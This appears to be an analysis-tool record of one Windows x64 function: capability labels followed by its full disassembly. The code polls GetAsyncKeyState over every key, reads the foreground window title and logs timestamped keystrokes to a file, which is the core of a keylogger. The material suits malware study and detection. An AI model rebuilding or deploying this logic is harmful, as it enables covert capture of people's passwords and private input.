Function at 0x140001d50
Capabilities:
Get graphical window text
Hash data using fnv
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r14, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x100
lea rdx, [rbp + 0x1b0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
lea rax, [rbp + 0x1b0]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001dd0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400024a6
cmp rbx, 0xf
ja 0x140001e1e
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
mov r8, rbx
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x48], 0
jmp 0x140001eb8
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001e57
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400050b0
test rax, rax
je 0x14000246f
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001e93
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001e73
xor esi, esi
jmp 0x140001e93
cmp rcx, 0x1000
jb 0x140001e8b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400024ac
jmp 0x140001e38
call fcn.1400050b0
mov rsi, rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
mov r8, rbx
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rdx, [0x14000a0d8]
cmp qword [0x14000a0f0], 0xf
cmova rdx, qword [0x14000a0d8]
lea rcx, [rsp + 0x48]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
cmp rsi, 0xf
cmova rcx, rdi
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r13, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov rbx, qword [rsp + 0x58]
cmp rbx, qword [0x14000a0e8]
jne 0x140001f12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400020cb
lea rdx, [rsp + 0x48]
cmp rsi, 0xf
cmova rdx, rdi
mov r8, rbx
lea rcx, [0x14000a0d8]
call fcn.140003d40
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140001f4f
mov rdx, qword [r14]
lea rcx, [rbp + 0xa0]
call fcn.140003b40
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xa0], r12
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x9c], edx
lea rdx, [0x1400075ac]
lea rcx, [rbp + 0xa0]
call fcn.1400041c0
mov rcx, rax
lea rdx, str.21:56:01
call fcn.1400041c0
mov rcx, rax
lea rdx, [0x140007588]
call fcn.1400041c0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, rax
call fcn.140004cf0
lea rdx, [0x140007584]
mov rcx, rax
call fcn.1400041c0
lea rcx, [rbp + 0xa8]
call fcn.140003a80
test rax, rax
jne 0x140002019
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xa0], r12
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x9c], edx
mov qword [rbp + 0xa8], r13
cmp qword [rbp + 0x128], 0
je 0x14000208e
lea rcx, [rbp + 0x118]
mov rax, qword [rbp + 0xc0]
cmp qword [rax], rcx
jne 0x14000208e
mov rdx, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x130]
mov qword [rax], rcx
mov rax, qword [rbp + 0xe0]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0xf8]
mov dword [rax], edx
cmp byte [rbp + 0x124], 0
je 0x1400020a3
lea rcx, [rbp + 0xa8]
call fcn.140003a80
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor ebx, ebx
mov dword [rsp + 0x40], ebx
movabs rsi, 0xcbf29ce484222325
movabs rdi, 0x100000001b3
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
movzx eax, byte [rsp + 0x41]
jns 0x140002370
movzx ecx, bl
xor rcx, rsi
imul rcx, rdi
xor rcx, rax
imul rcx, rdi
movzx eax, byte [rsp + 0x42]
xor rcx, rax
imul rcx, rdi
movzx eax, byte [rsp + 0x43]
xor rcx, rax
imul rcx, rdi
and rcx, qword [0x14000a9e0]
shl rcx, 4
mov rax, qword [0x14000a9c8]
add rax, rcx
mov rcx, qword [rax + 8]
mov rdx, qword [0x14000a9b8]
cmp rcx, rdx
je 0x140002161
mov rax, qword [rax]
cmp ebx, dword [rcx + 0x10]
je 0x140002163
cmp rcx, rax
je 0x140002161
mov rcx, qword [rcx + 8]
cmp ebx, dword [rcx + 0x10]
jne 0x140002151
jmp 0x140002163
xor ecx, ecx
mov rax, rdx
test rcx, rcx
cmovne rax, rcx
cmp rax, rdx
jne 0x140002429
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
call fcn.1400044b0
mov ebx, dword [rsp + 0x40]
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.1400014c0
nop
cmp qword [rsp + 0x78], 0
je 0x14000232a
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1400021c0
mov rdx, qword [r14]
lea rcx, [rbp - 0x70]
call fcn.140003b40
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x68]
mov r8, qword [rbp - 0x80]
cmp r8, 0xf
cmova rax, rcx
mov r9, qword [rsp + 0x78]
cmp byte [rax], 0x5b
jne 0x140002265
lea rax, [rsp + 0x68]
cmp r8, 0xf
cmova rax, rcx
cmp byte [r9 + rax - 1], 0x5d
jne 0x140002265
lea rdx, [0x140007580]
lea rcx, [rbp - 0x70]
call fcn.1400041c0
mov rcx, rax
lea rdx, str.21:56:01
call fcn.1400041c0
mov rcx, rax
lea rdx, [0x1400075b0]
call fcn.1400041c0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rax
jmp 0x140002279
lea rdx, [rsp + 0x68]
cmp r8, 0xf
cmova rdx, rcx
mov r8, r9
lea rcx, [rbp - 0x70]
call fcn.140004cf0
lea rcx, [rbp - 0x68]
call fcn.140003a80
test rax, rax
jne 0x1400022aa
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp - 0x68], r13
cmp qword [rbp + 0x18], 0
je 0x1400022fb
lea rcx, [rbp + 8]
mov rax, qword [rbp - 0x50]
cmp qword [rax], rcx
jne 0x1400022fb
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
mov qword [rax], rcx
mov rax, qword [rbp - 0x30]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x18]
mov dword [rax], edx
cmp byte [rbp + 0x14], 0
je 0x14000230a
lea rcx, [rbp - 0x68]
call fcn.140003a80
lea rcx, [rbp - 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140002429
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002424
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002424
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movzx edx, bl
xor rdx, rsi
imul rdx, rdi
xor rdx, rax
imul rdx, rdi
movzx eax, byte [rsp + 0x42]
xor rdx, rax
imul rdx, rdi
movzx eax, byte [rsp + 0x43]
xor rdx, rax
imul rdx, rdi
and rdx, qword [0x14000a9e0]
shl rdx, 4
add rdx, qword [0x14000a9c8]
mov rcx, qword [rdx + 8]
mov r8, qword [0x14000a9b8]
cmp rcx, r8
je 0x1400023d3
mov rax, qword [rdx]
cmp ebx, dword [rcx + 0x10]
je 0x1400023d5
cmp rcx, rax
je 0x1400023d3
mov rcx, qword [rcx + 8]
cmp ebx, dword [rcx + 0x10]
jne 0x1400023c3
jmp 0x1400023d5
xor ecx, ecx
test rcx, rcx
je 0x140002429
mov rax, qword [rdx]
cmp qword [rdx + 8], rcx
jne 0x1400023fb
cmp rax, rcx
jne 0x1400023f1
mov qword [rdx], r8
mov qword [rdx + 8], r8
jmp 0x140002406
mov r8, qword [rcx + 8]
mov qword [rdx + 8], r8
jmp 0x140002406
cmp rax, rcx
jne 0x140002406
mov rax, qword [rcx]
mov qword [rdx], rax
mov rdx, qword [rcx]
dec qword [0x14000a9c0]
mov rax, qword [rcx + 8]
mov qword [rax], rdx
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
mov edx, 0x18
call fcn.14000532c
inc ebx
mov dword [rsp + 0x40], ebx
cmp ebx, 0x100
jl 0x1400020e5
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000247b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002476
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002476
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000532c
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140005090
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.140001250
int3
call fcn.1400011b0
int3